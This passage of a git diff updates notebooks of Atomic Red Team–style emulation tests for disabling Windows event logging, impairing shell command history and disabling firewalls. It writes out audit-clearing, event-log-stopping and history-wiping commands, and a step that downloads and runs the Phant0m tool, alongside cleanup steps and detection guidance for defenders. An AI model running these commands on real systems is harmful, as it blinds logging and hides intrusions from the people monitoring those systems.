Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the EventLog service may be disabled using the following PowerShell line: Stop-Service -Name EventLog.(Citation: Disable_Win_Event_Logging) Additionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind." + "source": "# T1562.002 - Disable Windows Event Logging\nAdversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System and HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clear the audit policy, adversaries may run the following lines: auditpol /clear /y or auditpol /remove /allusers.(Citation: T1562.002_redcanaryco)\n\nBy disabling Windows event logging, adversaries can operate while leaving less evidence of a compromise behind." }, { "cell_type": "markdown", - "id": "60435303", + "id": "cbed0324", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "0290ddad", + "id": "4a7e6f7f", "metadata": {}, "source": [ "### Atomic Test #1 - Disable Windows IIS HTTP Logging", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ad5ea183", + "id": "704e1872", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "6ab199bc", + "id": "36b5f62a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nif(Test-Path \"C:\\Windows\\System32\\inetsrv\\appcmd.exe\"){\n C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"Default Web Site\" /section:httplogging /dontLog:false *>$null\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "9411a138", + "id": "0fe45b80", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "46d2f88d", + "id": "1ad723a1", "metadata": {}, "source": [ "### Atomic Test #2 - Disable Windows IIS HTTP Logging via PowerShell", @@ -61,28 +61,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cfb3a0da", + "id": "97356b76", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "46d0cb74", + "id": "9b4e191e", "metadata": {}, "source": "#### Cleanup: \n```powershell\nif(Test-Path \"C:\\Windows\\System32\\inetsrv\\appcmd.exe\"){\n C:\\Windows\\System32\\inetsrv\\appcmd.exe set config \"Default Web Site\" /section:httplogging /dontLog:false *>$null\n}\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a2bb5611", + "id": "516ecb5f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "84c294eb", + "id": "b352c3c4", "metadata": {}, "source": [ "### Atomic Test #3 - Kill Event Log Service Threads", @@ -96,28 +96,28 @@ { "cell_type": "code", "execution_count": null, - "id": "cecdd243", + "id": "9d9cf541", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "6fbd0c1a", + "id": "ecd9054a", "metadata": {}, "source": "#### Cleanup: \n```powershell\nWrite-Host \"NEED TO Restart-Computer TO ENSURE LOGGING RETURNS\" -fore red\nRemove-Item \"$env:TEMP\\Invoke-Phant0m.ps1\" -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "99a3e337", + "id": "60a741dc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "539ac42e", + "id": "79820adc", "metadata": {}, "source": [ "### Atomic Test #4 - Impair Windows Audit Log Policy", @@ -131,28 +131,28 @@ { "cell_type": "code", "execution_count": null, - "id": "2a1213d7", + "id": "1bae64ca", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "ee872ae6", + "id": "bb9a3bb2", "metadata": {}, "source": "#### Cleanup: \n```cmd\nauditpol /set /category:\"Account Logon\" /success:enable /failure:enable\nauditpol /set /category:\"Detailed Tracking\" /success:enable\nauditpol /set /category:\"Logon/Logoff\" /success:enable /failure:enable\n```" }, { "cell_type": "code", "execution_count": null, - "id": "72e872a8", + "id": "97324339", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "74aeb7a4", + "id": "9eb8b4ca", "metadata": {}, "source": [ "### Atomic Test #5 - Clear Windows Audit Policy Config", @@ -166,28 +166,28 @@ { "cell_type": "code", "execution_count": null, - "id": "33704548", + "id": "41e14831", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 5" }, { "cell_type": "markdown", - "id": "94373a47", + "id": "c8dc63c4", "metadata": {}, "source": "#### Cleanup: \n```cmd\nauditpol /set /category:\"Account Logon\" /success:enable /failure:enable\nauditpol /set /category:\"Detailed Tracking\" /success:enable\nauditpol /set /category:\"Logon/Logoff\" /success:enable /failure:enable\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2f279967", + "id": "aca0bd13", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 5 -Cleanup" }, { "cell_type": "markdown", - "id": "98b21699", + "id": "1f238b3c", "metadata": {}, "source": [ "### Atomic Test #6 - Disable Event Logging with wevtutil", @@ -200,73 +200,73 @@ { "cell_type": "code", "execution_count": null, - "id": "3ff7fb83", + "id": "98379ebc", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 6" }, { "cell_type": "markdown", - "id": "71fec4f6", + "id": "bbb45793", "metadata": {}, "source": "#### Cleanup: \n```cmd\nwevtutil sl \"Microsoft-Windows-IKE/Operational\" /e:true\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3f92fc54", + "id": "1b0d2176", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 6 -Cleanup" }, { "cell_type": "markdown", - "id": "6fd512e1", + "id": "4a88c4f1", "metadata": {}, - "source": "### Atomic Test #7 - Makes Eventlog blind with Phant0m\nUse [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Phant0m.exe must exist on disk at specified location (#{file_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe\" -OutFile \"PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe\" -UseBasicParsing\n\n```" + "source": "### Atomic Test #7 - Makes Eventlog blind with Phant0m\nUse [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: Phant0m.exe must exist on disk at specified location (#{file_name})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1562.002/bin/Phant0m.exe\" -OutFile \"PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe\" -UseBasicParsing\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2f3078ed", + "id": "3008f7c6", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 7 -GetPreReqs" }, { "cell_type": "markdown", - "id": "58f0c2e6", + "id": "2bd52520", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", - "```command_prompt\nPathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe\n```" + "```command_prompt\n\"PathToAtomicsFolder\\T1562.002\\bin\\Phant0m.exe\"\n```" ] }, { "cell_type": "code", "execution_count": null, - "id": "21c9f412", + "id": "de828b41", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 7" }, { "cell_type": "markdown", - "id": "5495ac8a", + "id": "137d473c", "metadata": {}, "source": "#### Cleanup: \n```cmd\necho \"Sorry you have to reboot\"\n```" }, { "cell_type": "code", "execution_count": null, - "id": "3629c4d1", + "id": "4cf6b766", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.002 -TestNumbers 7 -Cleanup" }, { "cell_type": "markdown", - "id": "3a5b5d67", + "id": "6fccf5ef", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for commands that can be used to disable logging. For example, [Wevtutil](https://attack.mitre.org/software/S0645), `auditpol`, `sc stop EventLog`, and offensive tooling (such as [Mimikatz](https://attack.mitre.org/software/S0002) and `Invoke-Phant0m`) may be used to clear logs.(Citation: def_ev_win_event_logging)(Citation: evt_log_tampering) \n\nIn Event Viewer, Event ID 1102 under the \u201cSecurity\u201d Windows Log and Event ID 104 under the \u201cSystem\u201d Windows Log both indicate logs have been cleared.(Citation: def_ev_win_event_logging) `Service Control Manager Event ID 7035` in Event Viewer may indicate the termination of the EventLog service.(Citation: evt_log_tampering) Additionally, gaps in the logs, e.g. non-sequential Event Record IDs, may indicate that the logs may have been tampered.\n\nMonitor the addition of the MiniNT registry key in `HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control`, which may disable Event Viewer.(Citation: def_ev_win_event_logging)" } @@ -274,13 +274,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.003.ipynb b/playbook/tactics/defense-evasion/T1562.003.ipynb index 9fa51188..c03fad32 100644 --- a/playbook/tactics/defense-evasion/T1562.003.ipynb +++ b/playbook/tactics/defense-evasion/T1562.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "b474172d", + "id": "30089ebf", "metadata": {}, "source": "# T1562.003 - Impair Command History Logging\nAdversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands. \n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)\n\nAdversaries may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) on network devices to disable historical command logging (e.g. no logging)." }, { "cell_type": "markdown", - "id": "eb30b6cf", + "id": "17a0c62f", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "d534ac64", + "id": "75130487", "metadata": {}, "source": [ "### Atomic Test #1 - Disable history collection", @@ -27,17 +27,37 @@ { "cell_type": "code", "execution_count": null, - "id": "52413d8d", + "id": "d4adeeff", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "1494d9d6", + "id": "bc2f671d", "metadata": {}, "source": [ - "### Atomic Test #2 - Mac HISTCONTROL", + "### Atomic Test #2 - Disable history collection (freebsd)", + "Disables history collection in shells\n", + "**Supported Platforms:** linux", + "#### Attack Commands: Run with `sh`\n", + "```sh\nexport HISTSIZE=0\nwhoami\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6d31c0c4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "49c41d96", + "metadata": {}, + "source": [ + "### Atomic Test #3 - Mac HISTCONTROL", "The HISTCONTROL variable is set to ignore (not write to the history file) command that are a duplicate of something already in the history \nand commands that start with a space. This atomic sets this variable in the current session and also writes it to the current user's ~/.bash_profile \nso that it will apply to all future settings as well.\nhttps://www.linuxjournal.com/content/using-bash-history-more-efficiently-histcontrol\n", "**Supported Platforms:** macos, linux", "Run it with these steps!", @@ -46,7 +66,252 @@ }, { "cell_type": "markdown", - "id": "1e77fcdf", + "id": "895ef3d3", + "metadata": {}, + "source": [ + "### Atomic Test #4 - Clear bash history", + "An attacker may clear the bash history cache and the history file as their last act before logging off to remove the record of their command line activities. \n\nIn this test we use the $HISTFILE variable throughout to 1. confirms the $HISTFILE variable is set 2. echo \"\" into it 3..5 confirm the file is empty 6 clear the history cache 7. confirm the history cache is empty. This is when the attacker would logoff.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\ncp $HISTFILE $HISTFILE.OLD\nif ((${#HISTFILE[@]})); then echo $HISTFILE; fi\necho \"\" > $HISTFILE\nif [ $(wc -c <$HISTFILE) -gt 1 ]; then echo \"$HISTFILE is larger than 1k\"; fi\nls -la $HISTFILE \ncat $HISTFILE\nhistory -c \nif [ $(history |wc -l) -eq 1 ]; then echo \"History cache cleared\"; fi\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "09e77e4f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 4" + }, + { + "cell_type": "markdown", + "id": "bfeaa4e0", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nmv -f $HISTFILE.OLD $HISTFILE \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "e2e0e17d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 4 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "00b73509", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Setting the HISTCONTROL environment variable", + "An attacker may exploit the space before a command (e.g. \" ls\") or the duplicate command suppression feature in Bash history to prevent their commands from being recorded in the history file or to obscure the order of commands used. \n\nIn this test we 1. sets $HISTCONTROL to ignoreboth 2. clears the history cache 3. executes ls -la with a space in-front of it 4. confirms that ls -la is not in the history cache 5. sets $HISTCONTROL to erasedups 6. clears the history cache 7..9 executes ls -la $HISTFILE 3 times 10. confirms that their is only one command in history\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nTEST=$(echo $HISTCONTROL)\nif [ \"$HISTCONTROL\" != \"ignoreboth\" ]; then export HISTCONTROL=\"ignoreboth\"; fi\nhistory -c \nls -la $HISTFILE # \" ls -la $HISTFILE\"\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls -la is not in history cache\"; fi\n# -> ls -la is not in history cache\nif [ \"$HISTCONTROL\" != \"erasedups\" ]; then export HISTCONTROL=\"erasedups\"; fi\nhistory -c \nls -la $HISTFILE\nls -la $HISTFILE\nls -la $HISTFILE\nif [ $(history |wc -l) -eq 2 ]; then echo \"Their is only one entry for ls -la $HISTFILE\"; fi\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "32cee489", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "085be150", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nexport HISTCONTROL=$(echo $TEST)\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "0f1da393", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "83923f13", + "metadata": {}, + "source": [ + "### Atomic Test #6 - Setting the HISTFILESIZE environment variable", + "An Adversary may set the bash history files size environment variable (HISTFILESIZE) to zero to prevent the logging of commands to the history file after they log out of the system.\n\nNote: we don't wish to log out, so we are just confirming the value of HISTFILESIZE. In this test we 1. echo HISTFILESIZE 2. set it to zero 3. confirm that HISTFILESIZE is set to zero.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nTEST=$(echo $HISTFILESIZE)\necho $HISTFILESIZE\nexport HISTFILESIZE=0\nif [ $(echo $HISTFILESIZE) -eq 0 ]; then echo \"\\$HISTFILESIZE is zero\"; fi\n# -> $HISTFILESIZE is zero\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "127f8705", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 6" + }, + { + "cell_type": "markdown", + "id": "993a621b", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nexport HISTCONTROL=$(echo $TEST)\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "7dd2e64e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 6 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "0d5ba057", + "metadata": {}, + "source": [ + "### Atomic Test #7 - Setting the HISTSIZE environment variable", + "An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.\n\nNote: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho $HISTSIZE\nexport HISTSIZE=0\nif [ $(echo $HISTSIZE) -eq 0 ]; then echo \"\\$HISTSIZE is zero\"; fi\n# -> $HISTSIZE is zero\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b3f8734f", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 7" + }, + { + "cell_type": "markdown", + "id": "e19d5a66", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nexport HISTSIZE=100\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "8dc0956e", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 7 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "236be016", + "metadata": {}, + "source": [ + "### Atomic Test #8 - Setting the HISTFILE environment variable", + "An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.\n\nNote: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nTEST=$(echo $HISTFILE)\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; fi\n# -> $HISTFILE is /dev/null\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b7e6c371", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 8" + }, + { + "cell_type": "markdown", + "id": "83e779b4", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nexport HISTFILE=$(echo $TEST)\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "96ae0f77", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 8 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "f9092a78", + "metadata": {}, + "source": [ + "### Atomic Test #9 - Setting the HISTFILE environment variable (freebsd)", + "An Adversary may clear, unset or redirect the history environment variable HISTFILE to prevent logging of commands to the history file after they log out of the system.\n\nNote: we don't wish to log out, so we are just confirming the value of HISTFILE. In this test we 1. echo HISTFILE 2. set it to /dev/null 3. confirm that HISTFILE is set to /dev/null.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; fi\n# -> $HISTFILE is /dev/null\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "62f6a3bf", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "840bae1a", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nexport HISTFILE=~/.sh_history\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1523ec80", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "4e19fe3f", + "metadata": {}, + "source": [ + "### Atomic Test #10 - Setting the HISTIGNORE environment variable", + "An Adversary may take advantage of the HISTIGNORE environment variable either to ignore particular commands or all commands. \n\nIn this test we 1. set HISTIGNORE to ignore ls, rm and ssh commands 2. clear this history cache 3..4 execute ls commands 5. confirm that the ls commands are not in the history cache 6. unset HISTIGNORE variable 7.. same again, but ignoring ALL commands.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `bash`\n", + "```bash\nif ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export HISTIGNORE='ls*:rm*:ssh*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\n# -> $HISTIGNORE = ls*:rm*:ssh*\nhistory -c \nls -la $HISTFILE\nls -la ~/.bash_logout\nif [ $(history |wc -l) -eq 1 ]; then echo \"ls commands are not in history\"; fi\n# -> ls commands are not in history\nunset HISTIGNORE\n\nif ((${#HISTIGNORE[@]})); then echo \"\\$HISTIGNORE = $HISTIGNORE\"; else export HISTIGNORE='*'; echo \"\\$HISTIGNORE = $HISTIGNORE\"; fi\n# -> $HISTIGNORE = *\nhistory -c \nwhoami\ngroups\nif [ $(history |wc -l) -eq 0 ]; then echo \"History cache is empty\"; fi\n# -> History cache is empty\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "bd028a72", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "e4b5c064", + "metadata": {}, + "source": "#### Cleanup: \n```bash\nunset HISTIGNORE\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "66eace95", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.003 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3a2dca00", "metadata": {}, "source": "## Detection\nCorrelating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. Further, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands may also be used to clear or disable historical log data with built-in features native to the network device platform. Monitor such command activity for unexpected or unauthorized use of commands being run by non-standard users from non-standard locations." } @@ -54,13 +319,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.004.ipynb b/playbook/tactics/defense-evasion/T1562.004.ipynb index da81ad18..646666c1 100644 --- a/playbook/tactics/defense-evasion/T1562.004.ipynb +++ b/playbook/tactics/defense-evasion/T1562.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "13a870d5", + "id": "ca0bc790", "metadata": {}, - "source": "# T1562.004 - Disable or Modify System Firewall\nAdversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. " + "source": "# T1562.004 - Disable or Modify System Firewall\nAdversaries may disable or modify system firewalls in order to bypass controls limiting network usage. Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.\n\nModifying or disabling a system firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. For example, adversaries may add a new firewall rule for a well-known protocol (such as RDP) using a non-traditional and potentially less securitized port (i.e. [Non-Standard Port](https://attack.mitre.org/techniques/T1571)).(Citation: change_rdp_port_conti)" }, { "cell_type": "markdown", - "id": "68db3084", + "id": "50ff8ce3", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "0d99ec44", + "id": "4bb2db28", "metadata": {}, "source": [ "### Atomic Test #1 - Disable Microsoft Defender Firewall", @@ -27,28 +27,28 @@ { "cell_type": "code", "execution_count": null, - "id": "18d4498a", + "id": "446eef28", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "7d21eab4", + "id": "279fbd3a", "metadata": {}, "source": "#### Cleanup: \n```cmd\nnetsh advfirewall set currentprofile state on >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "f69fc1f3", + "id": "0857c2da", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.004 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - 